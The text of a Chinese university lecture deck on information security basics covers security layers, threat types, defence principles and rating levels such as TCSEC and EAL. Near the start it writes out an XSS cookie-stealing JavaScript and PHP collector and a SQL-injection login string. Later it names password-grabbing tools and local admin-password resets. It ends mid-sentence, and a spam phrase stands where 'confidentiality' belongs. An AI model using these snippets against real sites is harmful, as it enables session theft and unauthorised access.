第一章 信息安全概述 - 高显嵩.pptVIP

* * * * * * * * * * * * * 保证计算机资源的安全。 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 构建了个 Javascript 脚本传递客户端的 cookie 到黑客的服务器 Javascript 脚本可以简单的这样写 var img = new Image(); img.src = ‘get_cookie.php?var=’ + encodeURI(document.cookie); 然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据 ?php if (isset($_GET[‘var’])) { ? ? file_put_contents(‘./cookie/’.time().‘.txt’, urldecode($_GET[‘var’])); } ? 用户名: admin 密码: 1’ or ‘1’=‘1 击键记录 Office文档挂栽木马 网页木马 木马捆绑 运行系统安全 网络上系统信息的安全 网络上信息传播安全 网络上信息内容的安全 运行系统安全 即保证信息处理和传输系统的安全。它侧重于保证系统正常运行，避免因为系统的崩溃和损坏而对系统存贮、处理和传输的信息造成破坏和损失，避免由于电磁泄漏，产生信息泄露，干扰他人，受他人干扰。 网络上系统信息的安全 包括用户口令鉴别，用户存取权限控制，数据存取权限、方式控制，安全审计，安全问题跟踪，计算机病毒防治，数据加密。 网络上信息传播安全 即信息传播后果的安全。包括信息过滤等。它侧重于防止和控制非法、有害的信息进行传播后的后果。避免公用网络上大量自由传输的信息失控。 网络上信息内容的安全 它侧重于保护信息的必威体育官网网址性、真实性和完整性。避免攻击者利用系统的安全漏洞进行窃听、冒充、诈骗等有损于合法用户的行为。本质上是保护用户的利益和隐私 解决防火墙的局限性 防火墙难于防内 防火墙难于管理配置 防火墙的安全控制主要是基于IP地址的 防火墙只实现了粗粒度的防问控制 物理安全 对计算机的物理接触 逻辑安全 口令 文件许可 账号 软件加密 实体安全 运行安全 数据安全 软件安全 通信安全 实体的安全 软件安全环境防护 电磁防护 软件防护 计算机通信及互联网的安全防护 加密技术 网络安全服务 认证 访问控制 机密性 完整性 非否认性 保护用户的数据 必威体育官网网址性 完整性 可用性 保护用户的资源 保护用户的声誉 入侵 拒绝服务 盗窃信息 被动威胁 主动威胁 基本威胁 信息泄漏 窃听、业务流分析、人员疏忽、媒体清理 完整性破坏 拒绝服务 主要的可实现主动威胁 渗入威胁 假冒、旁路控制、授权侵犯 植入威胁 特洛伊木马、陷阱 最小特权原则 多道防线 阻塞点 最薄弱环节（被忽视的环节） 失效保护机制 缺省拒绝状态 缺省接受状态 普遍参与 防御多样化 在安全和通信方便之间建立平衡 能够对存取进行控制 保持系统及数据的完整 能够对系统进行恢复和对数据进行备份 美国制定的网络安全级别 D1\C1\C2\B1\B2\B3\A级 加拿大定制的网络安全级别 EAL-1\EAL-2\EAL-3\EAL-4\EAL-5\EAL-6\EAL-7 D1最低的安全等级 对于软硬件没有任何保护，整个系统是不可信的 C1自选安全保护 对硬件有一定程度上的保护，对用户的系统登陆有一定的限制。（Unix） C2受控保护环境 除了拥有C1即安全防护特性以外，还包含创建受控访问环境。 B1标志安全保护 支持多极安全 B2结构保护 对每个对象都要加注标签，还可以给设备分配单个多个的安全级别。 B3安全域级别 使用硬件来加密安全性。 验证设计安全级别 当前最高的安全级别，除拥有以上功能外，还包含一个严格的设计，控制和验证过程。 主要是针对产品设计来制定的一套安全等级 网络安全的定义 网络安全的内容 不同环境和应用中的网络安全 网络安全的重要性 网络安全的基本元素 网络安全的标准 * * 信息对于现代企业来说越来越重要，其对企业的价值和贡献不亚于甚至超过固定资产和资金，企业记忆是企业最宝贵的财富，信息的泄漏、错误或无法及时获得可能带来灾难性的后果； 强调以保护机构资产的角度和方法对待信息的安全保障，即从形式上保障信息安全工作的全面性，防止出现短板； * * * Pulist.exe+findpass.exe PasswordReminder.exe GINA PassWord Sniffer WindowsNT/2000/XP/2003/Linux/Unix系统，本地接触可以更改任意用户的密码。 一张软盘更改本地管理员密码 Ntpassword 一张光盘更